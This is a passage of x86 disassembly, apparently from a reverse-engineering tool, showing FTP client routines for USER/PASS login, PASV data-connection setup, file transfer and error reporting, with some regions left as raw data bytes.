mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42DF82
; ---------------------------------------------------------------------------
loc_42E05A: ; CODE XREF: sub_42DF40+8Dj
sub ebp, 2
mov esi, offset asc_4471E4 ; "\r\n"
mov eax, ebp
loc_42E064: ; CODE XREF: sub_42DF40+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
test cl, cl
jz short loc_42E088
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42E064
loc_42E088: ; CODE XREF: sub_42DF40+130j
xor eax, eax
jmp short loc_42E091
; ---------------------------------------------------------------------------
loc_42E08C: ; CODE XREF: sub_42DF40+12Cj
; sub_42DF40+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42E091: ; CODE XREF: sub_42DF40+14Aj
test eax, eax
jnz short loc_42E0F2
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0AD: ; CODE XREF: sub_42DF40+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0C0: ; CODE XREF: sub_42DF40+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42E0F2
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0DC: ; CODE XREF: sub_42DF40+EDj
push offset aRead ; "read"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42E0F2: ; CODE XREF: sub_42DF40+D2j
; sub_42DF40+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42DF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p
; sub_42EF60:loc_42EF8Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42E253
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42E253
cmp eax, 2
jnz short loc_42E1A5
lea ebp, [esp+118h+var_104]
jmp short loc_42E1A9
; ---------------------------------------------------------------------------
loc_42E1A5: ; CODE XREF: sub_42E170+2Dj
lea ebx, [esp+118h+var_104]
loc_42E1A9: ; CODE XREF: sub_42E170+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42E1B0: ; CODE XREF: sub_42E170+98j
cmp eax, 40h
jnb short loc_42E1C5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42E1C5: ; CODE XREF: sub_42E170+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_438208
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42E20A
test eax, eax
jg short loc_42E241
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42E246
mov eax, [esp+11Ch+var_104]
jmp short loc_42E1B0
; ---------------------------------------------------------------------------
loc_42E20A: ; CODE XREF: sub_42E170+79j
push 100h
xor edi, edi
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E241: ; CODE XREF: sub_42E170+7Dj
mov edi, 1
loc_42E246: ; CODE XREF: sub_42E170+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E253: ; CODE XREF: sub_42E170+19j
; sub_42E170+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42E170 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2B0: ; CODE XREF: ___:0040141Aj
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42E35F ; default
jmp off_42E364[eax*4] ; switch jump
loc_42E2C7: ; DATA XREF: ___:off_42E364o
mov eax, [esp+8] ; jumptable 0042E2C0 case 0
cmp eax, 1
jz short loc_42E2D9
cmp eax, 2
jnz loc_42E35F ; default
loc_42E2D9: ; CODE XREF: ___:0042E2CEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2E8: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2FB: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
push esi ; jumptable 0042E2C0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E33C: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E34F: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42E35F: ; CODE XREF: ___:0042E2BAj
; ___:0042E2D3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r
dd offset loc_42E2E8 ; jump table for switch statement
dd offset loc_42E2FB
dd offset loc_42E33C
dd offset loc_42E34F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E3C0 proc near ; CODE XREF: sub_402266j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov edi, dword_511A6C
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; sprintf
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42E42D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; sprintf
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42E490
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E451: ; CODE XREF: sub_42E3C0+1Bj
; sub_42E3C0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42E3C0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p
; sub_42E3C0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42E4B3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4B3: ; CODE XREF: sub_42E490+15j
mov eax, dword_5103A8
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42E4DC
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42E4DC: ; CODE XREF: sub_42E490+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42E4FC
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4FC: ; CODE XREF: sub_42E490+60j
push esi
lea ecx, [esp+110h+var_100]
push offset aS_3 ; "%s\r\n"
push ecx
call near ptr 77C3F931h
nop
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_4381F6
sub_42E490 endp
; ---------------------------------------------------------------------------
db 85h
; ---------------------------------------------------------------------------
sar byte ptr [edi+1Ah], 68h
jo short near ptr byte_42E5AA
inc esp
add al, ch
mov ch, 88h
xor byte ptr [edi-70h], 83h
les eax, [ebx+esi]
rcr byte ptr [edi+5Eh], 5Bh
add esp, 100h
retn
; ---------------------------------------------------------------------------
mov ecx, [esp+114h]
push ebx
push ecx
call sub_42DE00
add esp, 8
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 3Ah dup(0CCh)
byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j
; =============== S U B R O U T I N E =======================================
sub_42E5B0 proc near ; CODE XREF: sub_401F73j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42E5FC
cmp edi, 4
jz short loc_42E5D6
cmp edi, 3
jnz short loc_42E5FC
loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj
; sub_42E5B0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_511A6C
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4474B8
push edx
call ebp ; sprintf
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42E490
add esp, 18h
test eax, eax
jz loc_42E7BE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42E7AF ; default
jmp off_42E7CC[eax*4] ; switch jump
loc_42E648: ; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474B0 ; jumptable 0042E641 case 1
mov dl, byte_4474B4
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E663: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov eax, dword_4474A8 ; jumptable 0042E641 case 2
mov cl, byte_4474AC
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E67D: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov edx, dword_4474A0 ; jumptable 0042E641 case 3
mov al, byte_4474A4
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E697: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov ecx, dword_447498 ; jumptable 0042E641 case 4
mov dl, byte_44749C
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j
; sub_42E5B0+CBj ...
test esi, esi
jz short loc_42E703
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42E7BE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42E703: ; CODE XREF: sub_42E5B0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42E870
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42E7BE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42E758
mov eax, [esi]
push eax
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E758: ; CODE XREF: sub_42E5B0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42E79F
mov eax, [esi]
push ebx
push eax
call sub_42ED50
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42E79F
mov ecx, [esi]
push ecx
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j
; sub_42E5B0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; sprintf
add esp, 0Ch
loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj
; sub_42E5B0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42E5B0 endp
; ---------------------------------------------------------------------------
align 4
off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r
dd offset loc_42E663 ; jump table for switch statement
dd offset loc_42E67D
dd offset loc_42E697
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42EB94
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42E8D2
cmp eax, 2
jz short loc_42E8D2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
call near ptr 77C3F931h
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E8D2: ; CODE XREF: sub_42E870+3Aj
; sub_42E870+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42E904
cmp eax, 49h
jz short loc_42E904
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E904: ; CODE XREF: sub_42E870+6Cj
; sub_42E870+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42E9E9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42E490
add esp, 0Ch
test eax, eax
jz loc_42EB94
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42EB94
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
nop
call near ptr 77C41B72h
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_438232
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 4684D75h, 0E8004474h, 7780841Ah, 4C48390h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: sub_42E870+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_438220
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44752468h, 83E8E800h, 83907780h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473F468h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh, 0E8004475h
dd 77808336h, 4C48390h, 9736E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h, 77810DEDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473EC68h
dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------
loc_42EB94: ; CODE XREF: sub_42E870+2Bj
; sub_42E870+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42E870 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
dd 75144689h, 73EC682Ch, 0E8900044h, 77808226h, 5704C483h
dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42ED92
mov ecx, eax
loc_42ED92: ; CODE XREF: sub_42ED50+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_438208
sub_42ED50 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 0E8000001h, 777F0508h, 50008B90h, 80843DE8h
dd 0C4839077h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42EF60 proc near ; CODE XREF: sub_40226Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42EF71
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF71: ; CODE XREF: sub_42EF60+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42EF8D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DF40
add esp, 0Ch
jmp short loc_42EFB4
; ---------------------------------------------------------------------------
loc_42EF8D: ; CODE XREF: sub_42EF60+17j
call sub_42E170
add esp, 4
cmp eax, 1
jz short loc_42EF9F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF9F: ; CODE XREF: sub_42EF60+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42EFC0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFC0: ; CODE XREF: sub_42EF60+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42EFFF
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42EFFF
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42EFFF
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42EFF8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFF8: ; CODE XREF: sub_42EF60+93j
mov dword ptr [esi+40h], 0
loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj
; sub_42EF60+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42EF60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F040 proc near ; CODE XREF: sub_402216j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42F051
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F051: ; CODE XREF: sub_42F040+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42F06D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42F110
add esp, 0Ch
jmp short loc_42F08A
; ---------------------------------------------------------------------------
loc_42F06D: ; CODE XREF: sub_42F040+17j
call sub_42E170
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
loc_42F08A: ; CODE XREF: sub_42F040+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42F096
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F096: ; CODE XREF: sub_42F040+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42F0CC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42F0CC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42F0CC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42F0CC: ; CODE XREF: sub_42F040+63j
; sub_42F040+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42F040 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
